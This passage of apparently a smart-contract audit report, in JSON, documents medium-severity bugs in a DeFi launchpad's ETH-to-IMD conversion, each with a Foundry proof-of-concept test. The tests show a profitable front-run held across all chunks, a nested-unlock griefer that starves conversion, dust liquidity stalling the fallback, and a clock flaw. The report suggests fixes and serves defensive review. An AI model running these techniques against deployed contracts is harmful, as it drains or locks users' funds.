pm.unlock(abi.encode(uint8(zeroForOne ? 2 : 3), key, amount));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(pm), \"manager only\");\n        (uint8 action, PoolKey memory key, uint256 a) = abi.decode(data, (uint8, PoolKey, uint256));\n        int256 d;\n        if (action == 1) {\n            (d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(a), 0), \"\");\n        } else {\n            bool dir = action == 2;\n            d = pm.swap(\n                key, SwapParams(dir, -int256(a), dir ? 4295128740 : 1461446703485210103287273052203988822378723970341), \"\"\n            );\n        }\n        _settle(key.currency0, int128(d >> 128));\n        _settle(key.currency1, int128(d));\n        return \"\";\n    }\n\n    function _settle(address c, int128 delta) private {\n        if (delta < 0) {\n            uint256 amt = uint256(uint128(-delta));\n            if (c == address(0)) {\n                pm.sync(address(0));\n                pm.settle{value: amt}();\n            } else {\n                pm.sync(c);\n                require(IERC20Min(c).transfer(address(pm), amt));\n                pm.settle();\n            }\n        } else if (delta > 0) {\n            pm.take(c, address(this), uint256(uint128(delta)));\n        }\n    }\n}\n\ncontract FrDeployer {\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n\n    function deployAll(address owner, address pm, address imd, bytes32 id) external {\n        PadToken token = new PadToken();\n        PadGame game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(pm, address(pad), imd, id);\n        new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\n/// @notice The repository's sandwich test brackets ONE chunk. Here the attacker buys IMD once, drives\n/// every public convertChunk itself (30 s apart) and sells after the last one, on the real PoolManager\n/// with a 68 ETH full-range IMD/ETH venue (price 1, fee 1%). Fails on this code: the attacker ends with\n/// more ETH than it started with, paid by the game's IMD and so by every coin holder's LP.\ncontract ReviewFrontRunTest is Test {\n    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;\n    address constant OWNER = address(0xBEEF);\n    FrArbSys arb;\n    IPoolManager pm;\n    FrRouter router;\n    PvPPad pad;\n    PadLiquidity liq;\n    PadGame pvp;\n    PoolKey imdKey;\n    address[] players;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        vm.etch(address(0x64), address(new FrArbSys()).code);\n        arb = FrArbSys(address(0x64));\n        vm.etch(IMD, address(new FrIMD()).code);\n        pm = IPoolManager(deployCode(\"PoolManager.sol:PoolManager\", abi.encode(OWNER)));\n        router = new FrRouter(pm);\n        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));\n        FrDeployer d = new FrDeployer();\n        d.deployAll(OWNER, address(pm), IMD, keccak256(abi.encode(imdKey)));\n        pad = d.pad();\n        liq = d.liquidity();\n        pm.initialize(imdKey, uint160(1 << 96));\n        vm.deal(address(router), 100 ether);\n        FrIMD(IMD).mint(address(router), 100 ether);\n        router.add(imdKey, 68 ether);\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n        for (uint256 i; i < 12; ++i) {\n            address p = address(uint160(0xA000 + i));\n            players.push(p);\n            vm.deal(p, 10 ether);\n            vm.prank(p);\n            pvp.enter{value: 0.001 ether}();\n        }\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n        if (!pvp.drawComplete() && vm.getBlockTimestamp() >= pvp.signupEnd()) {\n            pvp.draw(32);\n            arb.advance(4);\n            while (!pvp.drawComplete()) pvp.draw(32);\n        }\n    }\n\n    function test_heldFrontRunAcrossAllConversionChunksMustNotProfit() public {\n        advance(10 minutes);\n        for (uint256 r; r < 49; ++r) {\n            for (uint256 i; i < 12; ++i) {\n                if (!pvp.ended()) {\n                    vm.prank(players[i]);\n                    pvp.roll{value: 0.002 ether}();\n                }\n            }\n            advance(61);\n        }\n        vm.warp(pvp.endTime() + 1);\n        arb.advance(300);\n        while (pvp.pendingCount() != 0) pvp.resolvePending(16);\n        pvp.finalize();\n        uint256 escrow = pvp.ethRaised();\n        emit log_named_uint(\"curve ETH to convert\", escrow);\n\n        uint256 front = 10 ether;\n        FrRouter attacker = new FrRouter(pm);\n        vm.deal(address(attacker), front);\n        attacker.trade(imdKey, true, front); // buy IMD once, before the first chunk\n\n        // The attacker drives every chunk at the 30 s interval; nothing else happens in between.\n        for (uint256 i; i < 200; ++i) {\n            try liq.convertChunk(address(pvp)) {} catch {}\n            (uint256 left,,,,,,) = liq.conversions(address(pvp));\n            if (left == 0) break;\n            vm.warp(vm.getBlockTimestamp() + 30);\n        }\n        (, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));\n        emit log_named_uint(\"ETH converted\", converted);\n        emit log_named_uint(\"IMD received by the game (front-run)\", received);\n\n        attacker.trade(imdKey, false, FrIMD(IMD).balanceOf(address(attacker))); // sell after the last chunk\n        emit log_named_uint(\"attacker ETH after\", address(attacker).balance);\n        emit log_named_uint(\"attacker ETH before\", front);\n        assertLt(address(attacker).balance, front, \"held front-run across all chunks must not profit\");\n    }\n}","reproduction":"Real v4-core PoolManager, IMD/ETH pool at sqrtPrice 2^96 with 68e18 full-range liquidity, fee 10000, tickSpacing 100 (the production key). openPad, 12 wallets enter PVP, each rolls every 61 s until the game ends, resolve, finalize. (1) attacker swaps 10 ETH -> IMD on the IMD/ETH key; (2) attacker calls liq.convertChunk(pvp) every 30 s until conversions(pvp).remainingEth == 0; (3) attacker swaps all its IMD -> ETH. Expected (AUDIT #13, the repo's sandwich claim): the attacker loses both 1% venue fees. Actual, with the Base.t.sol harness (escrow 1.0584 ETH): imdReceived = 787816864335297775 (0.788 IMD instead of ~1.033 IMD), attacker balance 10062194747407374161 wei (> 10 ETH). With the self-contained proof harness (escrow 0.801 ETH): imdReceived 598152650434972158, attacker balance 10001457048177781203 wei, still above 10 ETH after paying both fees. Run: forge test --match-path test/scratch/ReviewFrontRun.t.sol -vv (fails: 'held front-run across all chunks must not profit').","severity":"medium","snippet":"            limit = zeroForOne ? spot - spot * IMPACT_BPS / 10_000 : spot * 1004987562112089027 / 1e18;","title":"Conversion chunks are price-limited only against the manipulable spot: a position held across all chunks (held front-run or dominant LP) profits and cuts the game's IMD"},{"citation":"resolved","description":"convertChunk writes c.lastAttempt = block.timestamp (line 227) and only then tries this.executeConversion (line 229), whose poolManager.unlock reverts AlreadyUnlocked when the caller is itself inside a PoolManager unlock. The catch branch merely emits ConversionStalled; no progress is recorded but the per-game interval is consumed, and the honest chunk in the same window reverts PadConversionInterval (line 222-224). Unlike distribute, retryPool, settleCrown and takeCrown, convertChunk never calls requireManagerLocked(). The gas floor at line 226 addresses an underfunded probe but not this path. One such ~320k-gas call per 30 s for 24 h (2,880 calls on an Arbitrum-stack chain) keeps lastProgress at its starting value, so canGraduate (line 249-254) turns true with remainingEth != 0: the launch graduates through the fallback (unconverted curve ETH to the carry pot, or a native coin/ETH pool when nothing was converted) although the venue is healthy. Honest upkeep cannot help: every roll/enter/poke-driven convertChunk reverts for the rest of each window. Confirmed write_foundry_tests 43d97692. Fix: call requireManagerLocked() at the start of convertChunk and/or stamp lastAttempt only after the unlock was actually entered.","line":227,"path":"src/PadLiquidity.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from \"src/interfaces/Interfaces.sol\";\n\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"window\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ncontract StubIMD {\n    mapping(address => uint256) public balanceOf;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Adds IMD/ETH liquidity, and calls PadLiquidity.convertChunk from inside its own unlock.\ncontract Griefer is IUnlockCallback {\n    IPoolManager immutable pm;\n    PadLiquidity immutable liq;\n\n    constructor(IPoolManager pm_, PadLiquidity liq_) {\n        pm = pm_;\n        liq = liq_;\n    }\n\n    receive() external payable {}\n\n    function addLiquidity(PoolKey memory key, uint256 l) external {\n        pm.unlock(abi.encode(uint8(1), key, l, address(0)));\n    }\n\n    function griefConvert(address game) external {\n        pm.unlock(abi.encode(uint8(2), PoolKey(address(0), address(0), 0, 0, address(0)), uint256(0), game));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (uint8 action, PoolKey memory key, uint256 l, address game) =\n            abi.decode(data, (uint8, PoolKey, uint256, address));\n        if (action == 1) {\n            (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(l), 0), \"\");\n            uint256 owe0 = uint256(uint128(-int128(d >> 128)));\n            uint256 owe1 = uint256(uint128(-int128(d)));\n            pm.sync(address(0));\n            pm.settle{value: owe0}();\n            pm.sync(key.currency1);\n            IERC20Min(key.currency1).transfer(address(pm), owe1);\n            pm.settle();\n        } else {\n            // The manager is unlocked by us; PadLiquidity's own unlock reverts AlreadyUnlocked inside\n            // the bounded try, after the per-game attempt stamp was written.\n            liq.convertChunk(game);\n        }\n        return \"\";\n    }\n}\n\ncontract Deployer {\n    PadToken public token;\n    PadGame public game;\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n    KingOfThePad public king;\n\n    function deployAll(address owner, address pm, address imd, bytes32 id) external {\n        token = new PadToken();\n        game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(pm, address(pad), imd, id);\n        king = new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\n/// @notice Fails on the current code: a caller inside a PoolManager unlock consumes a game's 30 s\n/// conversion interval without any venue swap, so an honest chunk in the same window reverts.\n/// Passes once convertChunk either rejects an unlocked manager or does not record an attempt that\n/// never reached the venue (the griefer call is wrapped, so either fix passes).\ncontract ReviewNestedUnlockTest is Test {\n    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;\n    address constant OWNER = address(0xBEEF);\n    ArbSysStub arb;\n    IPoolManager pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    PadGame pvp;\n    Griefer griefer;\n    PoolKey imdKey;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        StubIMD imdImpl = new StubIMD();\n        vm.etch(IMD, address(imdImpl).code);\n        pm = IPoolManager(deployCode(\"PoolManager.sol:PoolManager\", abi.encode(OWNER)));\n        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));\n        bytes32 id = keccak256(abi.encode(imdKey));\n        Deployer d = new Deployer();\n        d.deployAll(OWNER, address(pm), IMD, id);\n        pad = d.pad();\n        liq = d.liquidity();\n        pm.initialize(imdKey, uint160(1 << 96));\n        griefer = new Griefer(pm, liq);\n        vm.deal(address(griefer), 200 ether);\n        StubIMD(IMD).mint(address(griefer), 200 ether);\n        griefer.addLiquidity(imdKey, 68 ether);\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n        address p = address(0xA1);\n        vm.deal(p, 1 ether);\n        vm.prank(p);\n        pvp.enter{value: 0.001 ether}();\n        vm.warp(block.timestamp + 10 minutes);\n        arb.advance(2400);\n        pvp.draw(32);\n        arb.advance(4);\n        while (!pvp.drawComplete()) pvp.draw(32);\n        vm.prank(p);\n        pvp.roll{value: 0.002 ether}();\n        vm.warp(block.timestamp + 11 minutes);\n        arb.advance(300);\n        pvp.resolvePending(16);\n        pvp.finalize();\n        assertGt(pvp.ethRaised(), 0);\n    }\n\n    function test_nestedUnlockCallerCannotStarveConversion() public {\n        pvp.prepareConversion();\n        (uint256 remaining0,,,,,,) = liq.conversions(address(pvp));\n        // The griefer lands first in the 30-second window from inside its own unlock. A fix that\n        // rejects the unlocked manager makes this revert, which is fine for this test.\n        try griefer.griefConvert(address(pvp)) {} catch {}\n        (uint256 remaining1,,,,,,) = liq.conversions(address(pvp));\n        assertEq(remaining1, remaining0, \"the griefer itself can never convert anything\");\n        // Expected: the honest chunk in the same window still converts. Actual on this code: it\n        // reverts PadConversionInterval because the attempt stamp was written before the venue call.\n        bool honestOk;\n        try liq.convertChunk(address(pvp)) {\n            honestOk = true;\n        } catch {}\n        (, uint256 converted2,,,,,) = liq.conversions(address(pvp));\n        assertTrue(honestOk, \"honest convertChunk reverted: the interval was consumed without a venue swap\");\n        assertGt(converted2, 0, \"honest chunk converted nothing\");\n    }\n}","reproduction":"Finalize a game with ethRaised > 0 (one wallet enters, rolls once, game ends by inactivity, finalize) and call pvp.prepareConversion(). From a contract that is inside its own pm.unlock() callback, call liq.convertChunk(pvp): it succeeds with ConversionStalled, conversions(pvp).lastAttempt == block.timestamp, remainingEth unchanged. Then an honest liq.convertChunk(pvp) in the same block reverts PadConversionInterval(). Expected: the nested caller is rejected (PadManagerUnlocked) or does not consume the interval, so the honest chunk converts > 0 ETH. Actual: the honest chunk reverts and nothing converts in that window; repeated every 30 s for 24 h this forces the fallback graduation. Run: forge test --match-path test/scratch/ReviewNestedUnlock.t.sol (fails: 'honest convertChunk reverted: the interval was consumed without a venue swap').","severity":"medium","snippet":"        c.lastAttempt = uint64(block.timestamp);","title":"convertChunk stamps the 30 s attempt before the venue is reached and lacks requireManagerLocked: a caller inside a PoolManager unlock consumes every interval with no swap and starves conversion into t"},{"citation":"resolved","description":"canGraduate (line 249-254) relies on lastProgress + 24h, and any chunk with spent != 0 && received != 0, however small, refreshes lastProgress (line 234). A chunk's size is whatever moves the venue 1% from spot, so once the venue's liquidity collapses to dust (the single 68 ETH LP withdraws, a 1e6-liquidity position remains) each chunk converts a few thousand wei, counts as progress and pushes the deadline out again; only a venue yielding exactly zero is caught (test_zeroLiquidityChunksDoNotExtendTimeout). With one touch per < 24 h (any entry, roll, poke, takeCrown or direct convertChunk on the pad does this through upkeep) the game stays in status 8 forever: graduate() reverts PadNotGraduable, the PadToken stays locked, the curve ETH stays escrowed and the carry fallback never runs. With 30 s chunks the same venue instead walks its price down 1% per chunk for days before the limit clamps. Expected per the brief: 'if conversion makes no progress for 24 h, graduate with the IMD converted so far and send unconverted ETH to the carry pot'. Confirmed audit_math 1a21520f. Fix: count a chunk as progress only above a floor (e.g. spent >= remainingEth / 1000 or a wei floor), and/or cap total conversion time from startConversion.","line":230,"path":"src/PadLiquidity.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from \"src/interfaces/Interfaces.sol\";\n\ncontract DuArbSys {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"window\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ncontract DuIMD {\n    mapping(address => uint256) public balanceOf;\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\ncontract DuRouter is IUnlockCallback {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager p) {\n        pm = p;\n    }\n\n    receive() external payable {}\n\n    function modify(PoolKey memory key, int256 l) external {\n        pm.unlock(abi.encode(key, l));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(pm), \"manager only\");\n        (PoolKey memory key, int256 l) = abi.decode(data, (PoolKey, int256));\n        (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, l, 0), \"\");\n        _settle(key.currency0, int128(d >> 128));\n        _settle(key.currency1, int128(d));\n        return \"\";\n    }\n\n    function _settle(address c, int128 delta) private {\n        if (delta < 0) {\n            uint256 amt = uint256(uint128(-delta));\n            if (c == address(0)) {\n                pm.sync(address(0));\n                pm.settle{value: amt}();\n            } else {\n                pm.sync(c);\n                require(IERC20Min(c).transfer(address(pm), amt));\n                pm.settle();\n            }\n        } else if (delta > 0) {\n            pm.take(c, address(this), uint256(uint128(delta)));\n        }\n    }\n}\n\ncontract DuDeployer {\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n\n    function deployAll(address owner, address pm, address imd, bytes32 id) external {\n        PadToken token = new PadToken();\n        PadGame game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(pm, address(pad), imd, id);\n        new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\n/// @notice After the venue's liquidity collapses to dust, every chunk converts a few thousand wei and\n/// still counts as progress, so the 24 h fallback never fires while the game is touched once a day.\n/// Fails on this code (canGraduate stays false after ten days with <0.1% converted); passes with a\n/// progress floor or a total conversion deadline.\ncontract ReviewDustTest is Test {\n    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;\n    address constant OWNER = address(0xBEEF);\n    DuArbSys arb;\n    IPoolManager pm;\n    DuRouter router;\n    PvPPad pad;\n    PadLiquidity liq;\n    PadGame pvp;\n    PoolKey imdKey;\n    address[] players;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        vm.etch(address(0x64), address(new DuArbSys()).code);\n        arb = DuArbSys(address(0x64));\n        vm.etch(IMD, address(new DuIMD()).code);\n        pm = IPoolManager(deployCode(\"PoolManager.sol:PoolManager\", abi.encode(OWNER)));\n        router = new DuRouter(pm);\n        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));\n        DuDeployer d = new DuDeployer();\n        d.deployAll(OWNER, address(pm), IMD, keccak256(abi.encode(imdKey)));\n        pad = d.pad();\n        liq = d.liquidity();\n        pm.initialize(imdKey, uint160(1 << 96));\n        vm.deal(address(router), 100 ether);\n        DuIMD(IMD).mint(address(router), 100 ether);\n        router.modify(imdKey, 68 ether);\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n        for (uint256 i; i < 12; ++i) {\n            address p = address(uint160(0xA000 + i));\n            players.push(p);\n            vm.deal(p, 10 ether);\n            vm.prank(p);\n            pvp.enter{value: 0.001 ether}();\n        }\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n        if (!pvp.drawComplete() && vm.getBlockTimestamp() >= pvp.signupEnd()) {\n            pvp.draw(32);\n            arb.advance(4);\n            while (!pvp.drawComplete()) pvp.draw(32);\n        }\n    }\n\n    function test_dustVenueProgressMustNotPostponeFallbackForever() public {\n        advance(10 minutes);\n        for (uint256 r; r < 20; ++r) {\n            for (uint256 i; i < 12; ++i) {\n                if (!pvp.ended()) {\n                    vm.prank(players[i]);\n                    pvp.roll{value: 0.002 ether}();\n                }\n            }\n            advance(61);\n        }\n        vm.warp(pvp.endTime() + 1);\n        arb.advance(300);\n        while (pvp.pendingCount() != 0) pvp.resolvePending(16);\n        pvp.finalize();\n        uint256 escrow = pvp.ethRaised();\n        assertGt(escrow, 0.4 ether);\n        // The venue's single LP leaves; a dust position remains.\n        router.modify(imdKey, -68 ether);\n        router.modify(imdKey, 1e6);\n        for (uint256 i; i < 10; ++i) {\n            liq.convertChunk(address(pvp));\n            vm.warp(vm.getBlockTimestamp() + 23 hours + 50 minutes);\n            arb.advance(4);\n        }\n        (uint256 remaining, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));\n        emit log_named_uint(\"remaining ETH after ten days\", remaining);\n        emit log_named_uint(\"converted ETH after ten days\", converted);\n        emit log_named_uint(\"IMD received after ten days\", received);\n        assertLt(converted, escrow / 1000, \"the dust venue converted less than 0.1% in ten days\");\n        assertTrue(liq.canGraduate(address(pvp)), \"ten days of dust fills must not keep the launch unconvertible\");\n    }\n}","reproduction":"Real v4-core PoolManager, IMD/ETH pool at sqrtPrice 2^96 with 68e18 full-range liquidity. 12 players enter PVP, each rolls 20 rounds, the game ends by time, resolve, finalize: ethRaised = 0.432 ETH. Then the LP removes its 68e18 liquidity and adds 1e6. Loop ten times: liq.convertChunk(pvp); warp +23h50m. Observed after ten days: convertedEth = 51933 wei, imdReceived = 48884 wei, remainingEth = 431999999999948067 wei, liq.canGraduate(pvp) == false, so pvp.graduate() reverts PadNotGraduable and the token stays locked. Expected: at most 24 h after the venue stops delivering meaningful fills, the game graduates with the IMD so far and carries the remaining 0.43 ETH. Run: forge test --match-path test/scratch/ReviewDust.t.sol -vv (fails: 'ten days of dust fills must not keep the launch unconvertible').","severity":"medium","snippet":"            if (spent != 0 && received != 0) {","title":"Conversion progress has no floor: dust fills on a collapsed IMD/ETH venue keep refreshing lastProgress, so the 24 h 'never stranded' fallback never fires and the token stays locked"},{"citation":"resolved","description":"startConversion seeds lastProgress with the game's finalizedAt (line 211) although the escrow is only created lazily by the next prepareConversion/convertChunk/_conversionStep (upkeepStep does one lifecycle step per call, and the finalizing call never converts). If nothing touches the game for 24 h, the first graduate()/poke()/upkeepStep runs _prepareConversion and then sees canGraduate() already true: _conversionStep (PadGame.sol:339-352) skips convertChunk and _graduate (PadGame.sol:770-775) never tries one, so PadLiquidity.graduate takes the imdReceived == 0 branch (line 274-277) and seeds a native coin/ETH pool with all the curve ETH. In the same state a direct convertChunk first would convert normally and seed coin/IMD, so after the deadline the pool type is decided by a race between two permissionless calls, and the pad's own upkeep always picks the native path. This matters most for the genesis: before PVP graduates no other game exists, launch() and takeCrown() revert, so no upkeep is triggered by anyone else, the website is a later job, and a native genesis pool fixes the burn route and the king's fee currency to ETH forever. No funds are lost; CHANGE 2's 'every coin graduates into a coin/IMD pool' is broken for that launch permanently. Merged: audit_math d369292a, audit_permissions 30251fcf, audit_flow 1b5da570. Fix: stamp lastProgress = block.timestamp in startConversion (or max(finalizedAt, now)), or make _conversionStep/_graduate attempt one chunk before accepting the fallback.","line":211,"path":"src/PadLiquidity.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from \"src/interfaces/Interfaces.sol\";\n\ncontract CkArbSys {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"window\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ncontract CkIMD {\n    mapping(address => uint256) public balanceOf;\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\ncontract CkRouter is IUnlockCallback {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager p) {\n        pm = p;\n    }\n\n    receive() external payable {}\n\n    function add(PoolKey memory key, uint256 l) external {\n        pm.unlock(abi.encode(key, l));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(pm), \"manager only\");\n        (PoolKey memory key, uint256 l) = abi.decode(data, (PoolKey, uint256));\n        (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(l), 0), \"\");\n        uint256 owe0 = uint256(uint128(-int128(d >> 128)));\n        uint256 owe1 = uint256(uint128(-int128(d)));\n        pm.sync(address(0));\n        pm.settle{value: owe0}();\n        pm.sync(key.currency1);\n        require(IERC20Min(key.currency1).transfer(address(pm), owe1));\n        pm.settle();\n        return \"\";\n    }\n}\n\ncontract CkDeployer {\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n\n    function deployAll(address owner, address pm, address imd, bytes32 id) external {\n        PadToken token = new PadToken();\n        PadGame game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(pm, address(pad), imd, id);\n        new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\n/// @notice Healthy 68 ETH IMD/ETH venue. A game finalized and then untouched for 24 h graduates into\n/// a native coin/ETH pool on the first poke, without a single conversion attempt. Fails on this code\n/// (imdPool is false, converted == 0); passes when the stall clock starts at the first conversion\n/// opportunity, or when the lifecycle step tries a chunk before accepting the fallback.\ncontract ReviewClockTest is Test {\n    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;\n    address constant OWNER = address(0xBEEF);\n    CkArbSys arb;\n    IPoolManager pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    PadGame pvp;\n    PoolKey imdKey;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        vm.etch(address(0x64), address(new CkArbSys()).code);\n        arb = CkArbSys(address(0x64));\n        vm.etch(IMD, address(new CkIMD()).code);\n        pm = IPoolManager(deployCode(\"PoolManager.sol:PoolManager\", abi.encode(OWNER)));\n        CkRouter router = new CkRouter(pm);\n        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));\n        CkDeployer d = new CkDeployer();\n        d.deployAll(OWNER, address(pm), IMD, keccak256(abi.encode(imdKey)));\n        pad = d.pad();\n        liq = d.liquidity();\n        pm.initialize(imdKey, uint160(1 << 96));\n        vm.deal(address(router), 100 ether);\n        CkIMD(IMD).mint(address(router), 100 ether);\n        router.add(imdKey, 68 ether);\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n    }\n\n    function test_untouchedGameStillGraduatesIntoCoinImdPoolOnHealthyVenue() public {\n        address p = address(0xA1);\n        vm.deal(p, 1 ether);\n        vm.prank(p);\n        pvp.enter{value: 0.001 ether}();\n        vm.warp(vm.getBlockTimestamp() + 10 minutes);\n        arb.advance(2400);\n        pvp.draw(32);\n        arb.advance(4);\n        while (!pvp.drawComplete()) pvp.draw(32);\n        vm.prank(p);\n        pvp.roll{value: 0.002 ether}();\n        vm.warp(pvp.endTime() + 1);\n        arb.advance(300);\n        while (pvp.pendingCount() != 0) pvp.resolvePending(16);\n        pvp.finalize();\n        assertGt(pvp.ethRaised(), 0);\n        (,,,,, bool started,) = liq.conversions(address(pvp));\n        assertFalse(started, \"no escrow yet: nobody touched the game\");\n        // Nobody calls anything for 24 hours, then the pad's lifecycle work resumes.\n        vm.warp(uint256(pvp.finalizedAt()) + 24 hours);\n        arb.advance(4 * 24 hours);\n        for (uint256 i; i < 10 && !pvp.graduated(); ++i) {\n            pvp.poke();\n            vm.warp(vm.getBlockTimestamp() + 30);\n        }\n        assertTrue(pvp.graduated(), \"graduated\");\n        (, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));\n        emit log_named_uint(\"converted ETH\", converted);\n        emit log_named_uint(\"IMD received\", received);\n        assertTrue(liq.imdPool(pad.tokenOf(1)), \"coin graduated into a native pool although the IMD venue is healthy\");\n    }\n}","reproduction":"Real v4-core PoolManager, production IMD/ETH key at price 1 with 68 ETH full-range liquidity (healthy). openPad; one wallet enters PVP, rolls once (ethRaised = 0.0018 ETH); warp past endTime; resolve; finalize at time T. 